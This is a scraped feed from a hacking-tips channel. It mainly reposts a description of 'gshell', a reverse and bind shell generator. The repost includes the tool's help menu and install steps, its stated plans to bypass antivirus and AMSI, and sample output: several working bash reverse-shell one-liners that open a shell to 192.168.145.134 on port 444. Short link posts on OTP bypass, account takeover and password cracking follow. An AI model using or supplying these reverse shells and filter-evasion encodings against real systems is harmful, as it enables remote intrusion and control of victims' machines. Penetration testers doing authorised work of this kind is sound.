Hacking Articles Tips Tricks Videos Tutorials

A simple yet flexible cross-platform shell generator (https://www.kitploit.com/search/label/Generator) tool. Name: G(Great) Shell Description: A cross-platform shell generator tool that lets you generate whichever shell you want, in any system you want, giving you full control and automation.If you find this tool helpful, then please give me a star as it tells me that I should add more features to it. Is cross-platform, you can use it in operating systems such as: Unix-based systems GNU/Linux Windows macOS Generates the following shells: Bind Shells: The target has a listening port and we connect to the target. Reverse Shells: We have a listening port and the target connects to us. Supports the following encodings (as of now): URL Encoding: Bypass URL filters Base64/32/16 Encodings: Bypass string/keyword filters PowerShell Base64 Encoding Supports the follow IP versions: IPv4 IPv6 Supported protocols: TCP UDP ICMP Note: You can add your own shells that use other protocols (https://www.kitploit.com/search/label/Protocols) such as DNS. Supports the following languages and tools: PowerShell Python Bash Sh Perl Socat Netcat Nc Awk Lua NodeJS OpenSSL PHP Ruby Telnet Golang C# Dart Groovy Many more... It is limitless, feel free to add as many as you desire! The shells are stored in markdown files as it makes it easy for everyone. You can add more bind shells by adding markdown code blocks the following file: shells/bind_shells.md You can also add more reverse shells (https://www.kitploit.com/search/label/Reverse%20Shells) by adding markdown code blocks the following file: shells/reverse_shells.md These can be one-liners and multi-liners, it doesn't matter. You can even add C# multi-liners code blocks if you want. Example, replace the IP address and the port placeholders or variables values with these placeholders in your code: $ip, $port That's it, now you can add more. Note: It also offers advice and tips for performing and troubleshooting (https://www.kitploit.com/search/label/Troubleshooting) attacks. Overview This is the help menu: ] [-p ] [-s ] [-r] [-b] [--base64] [--base32] [--base16] [--url] [--no-block] [--debug] [-l] [-a] [-h] ██████ ███████ ██ ██ ███████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ███ ███████ ███████ █████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ███████ ██ ██ ███████ ███████ ███████ Generate bind shells and/or reverse shells with style Version: 1.0 Author: nozerobit Twitter: @nozerobit Options: -i , --ip Specify the IP address -p , --port Specify the port number -s , --shell Specify a shell type (python, nc, bash, etc) Payload Types: -r, --reverse Victim communicates back to the attacking machine -b, --bind Open up a listener on the victim machine Encoding Options: --base64 Add base64 encoding --base32 Add base32 encoding --base16 Add base16 encoding --url Add URL encoding Markdown Options: --no-block Skip ``` code blocks ``` while parsing Help Options: -l, --list List the available shell types -a, --advice Print advice and tips to get connections -h, --help Show this help message and exit">❯ python3 gshell.py --help
usage: gshell.py [-i ] [-p ] [-s ] [-r] [-b]
[--base64] [--base32] [--base16] [--url] [--no-block] [--debug] [-l]
[-a] [-h]

██████ ███████ ██ ██ ███████ ██ ██
██ ██ ██ ██ ██ ██ ██
██ ███ ███████ ███████ █████ ██ ██

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest & Hacking Tools

Leading source of security tools, hacking tools, cybersecurity and network security. Learn about new tools and updates in one place.

3 viewsedited 23:14

██ ██ ██ ██ ██ ██ ██ ██
██████ ███████ ██ ██ ███████ ███████ ███████

Generate bind shells and/or reverse shells with style

Version: 1.0
Author: nozerobit
Twitter: @nozerobit

Options:
-i , --ip
Specify the IP address
-p , --port
Specify the port number
-s , --shell
Specify a shell type (python, nc, bash, etc)

Payload Types:
-r, --reverse Victim communicates back to the attacking machine
-b, --bind Open up a listener on the victim machine

Encoding Options:
--base64 Add base64 encoding
--base32 Add base32 encoding
--base16 Add base16 encoding
--url Add URL encoding

Markdown Options:
--no-block Skip ```
code
blocks
``` while parsing

Help Options:
-l, --list List the available shell types
-a, --advice Print advice and tips to get connections
-h, --help Show this help message and exit Example, generate bash reverse shells: & /dev/tcp/192.168.145.134/444 0>&1 0<&196;exec 196<>/dev/tcp/192.168.145.134/444; sh <&196 >&196 2>&196 /bin/bash -l > /dev/tcp/192.168.145.134/444 0<&1 2>&1 bash -i >& /dev/tcp/192.168.145.134/444 0>&1 bash -i >& /dev/udp/192.168.145.134/444 0>&1">❯ python3 gshell.py -i 192.168.145.134 -p 444 -r -s bash
[+] The IPv4 address: 192.168.145.134 is valid.
[+] The port number: 444 is valid.
[+] Shell type is valid
[+] Preparing reverse shells
[+] Generating bash shells
bash -i >& /dev/tcp/192.168.145.134/444 0>&1

0<&196;exec 196<>/dev/tcp/192.168.145.134/444; sh <&196 >&196 2>&196

/bin/bash -l > /dev/tcp/192.168.145.134/444 0<&1 2>&1

bash -i >& /dev/tcp/192.168.145.134/444 0>&1

bash -i >& /dev/udp/192.168.145.134/444 0>&1 Installation in Linux Clone or download the repository: git clone https://github.com/nozerobit/gshell Install the requirements: python3 -m pip install -r gshell/requirements.txt Add the tool to the $PATH environment variable: sudo ln -s $(pwd)/gshell/gshell.py /usr/local/bin/gshell.py && chmod +x /usr/local/bin/gshell.py Execute the tool: gshell.py Installation in Windows Clone or download the repository: git clone https://github.com/nozerobit/gshell C:\\Tools Note: I created a directory (https://www.kitploit.com/search/label/Directory) named Tools in the C:\ root directory. You can create this directory with the command md C:\Tools. Install chocolatey with CMD as Administrator: @powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))" && SET PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin Install python3 in Windows: choco install -y python3 Install pip: python -m pip install --upgrade pip Install the requirements: python -m pip install -r gshell/requirements.txt Note: You can change the directory if you want, just make sure that it contains the gshell project folder. Change to the project directory: cd C:\Tools Execute the tool: python gshell.py Contact & Contributing If you find any issues then you can open an issue, contact me on twitter (https://twitter.com/nozerobit) or discord (preferred) (https://discord.gg/jChyJgGs7Z). If you want to contribute then please feel free. Any feedback is appreciated. ToDo For the version 2.0 which should have the following: Encryptors: To bypass AVs Obfuscators: To bypass AVs Anti-AMSI: To bypass AMSI Shellcode Generator: For shellcode runners, binary explitation, etc.

Download Gshell (https://github.com/nozerobit/gshell)

___________________________
@hacking_Attack
@Hacking_Video

6 viewsedited 23:14

Hacking Articles Tips Tricks Videos Tutorials

Developer’s mistakes leads to full ATO!

A wise man once sad “In order to get high quality bugs, start playing with the website’s functionalities.”Continue reading on Medium »
Read more...

6 views23:19

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Compromised hardware

I'm not talking about how the CPU or something can be compromised by some type of government exploit. Can there be a separate device connected to the SSD or HDD inside a laptop or computer where it would save/write down everything you do (basically malware).

submitted by /u/PraiseTheKid
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Compromised hardware

I'm not talking about how the CPU or something can be compromised by some type of government exploit. Can there be a separate device connected to...

5 viewsedited 00:58

Hacking Articles Tips Tricks Videos Tutorials

Bypassing OTP verification
https://medium.com/@amoloht/bypassing-otp-verification-797851057e79?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Medium

Bypassing OTP verification

We know that security is the main method of defense against hacker attacks. Some of these safeguards have not been prevailed…

4 viewsedited 01:18

Hacking Articles Tips Tricks Videos Tutorials

4 views01:18

Hacking Articles Tips Tricks Videos Tutorials

We know that security is the main method of defense against hacker attacks. Some of these safeguards have not been prevailed…Continue reading on Medium » (https://medium.com/@amoloht/bypassing-otp-verification-797851057e79?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium

Bypassing OTP verification

We know that security is the main method of defense against hacker attacks. Some of these safeguards have not been prevailed…

6 viewsedited 01:18

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
Quantifying the SaaS Supply Chain and Its Risks

Organizations do not have good visibility into all the software-as-a-service applications that connect to and access data stored in core business.

7 views02:22

Source

Hacking Articles Tips Tricks Videos Tutorials

6 views02:50

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
Bypassing OTP verification

https://cdn-images-1.medium.com/max/810/0*AJxbJjkjcn7Uusng.png
We know that security is the main method of defense against hacker attacks. Some of these safeguards have not been prevailed…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

Bypassing OTP verification

We know that security is the main method of defense against hacker attacks. Some of these safeguards have not been prevailed…

4 viewsedited 02:50

Hacking Articles Tips Tricks Videos Tutorials

3 views02:50

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
CEH Practical Notes

https://cdn-images-1.medium.com/max/600/0*PPmDHqgta93lecGL.png
1. Recon

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

CEH Practical Notes

1. Recon

4 viewsedited 02:50

Hacking Articles Tips Tricks Videos Tutorials

4 views02:50

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
HackThisSite Extended Basic Mission 3

https://cdn-images-1.medium.com/max/700/0*p-Rx7O3nkjY2-i6m.jpg
Imagine being such a king, that you decide to build your own language instead of using established languages worked on by teams of people…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

HackThisSite Extended Basic Mission 3

Imagine being such a king, that you decide to build your own language instead of using established languages worked on by teams of people…

4 viewsedited 02:50

Hacking Articles Tips Tricks Videos Tutorials

Newbie Question - TKINTER Python Penetration Testing / pyinstaller.exe
https://www.reddit.com/r/Pentesting/comments/vcke64/newbie_question_tkinter_python_penetration/

Hi Everyone, I've developed a calculation tool using TKINTER which I'd like to use for my work. I've been asked by internal IT about pen testing and security. There's not much documented regarding desktop applications made using python tools deployed by pyinstaller, I'm after a starting point in regards to tools? Would really appreciate your expertise! submitted by /u/Overall_Rhubarb_8679 (https://www.reddit.com/user/Overall_Rhubarb_8679)
[link] (https://www.reddit.com/r/Pentesting/comments/vcke64/newbie_question_tkinter_python_penetration/) [comments] (https://www.reddit.com/r/Pentesting/comments/vcke64/newbie_question_tkinter_python_penetration/)

___________________________
@hacking_Attack
@Hacking_Video

Newbie Question - TKINTER Python Penetration Testing / pyinstaller.exe

Hi Everyone, I've developed a calculation tool using TKINTER which I'd like to use for my work. I've been asked by internal IT about pen testing...

8 viewsedited 03:48

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Any brute force password cracking software?

Just wondering because mathematically it is doable in terms of combinations*time/combination = time .

submitted by /u/QuittingCauseBad
[link] [comments]

Any brute force password cracking software?

Just wondering because mathematically it is doable in terms of combinations\*time/combination = time .

8 views04:57

About

Blog

Apps

Platform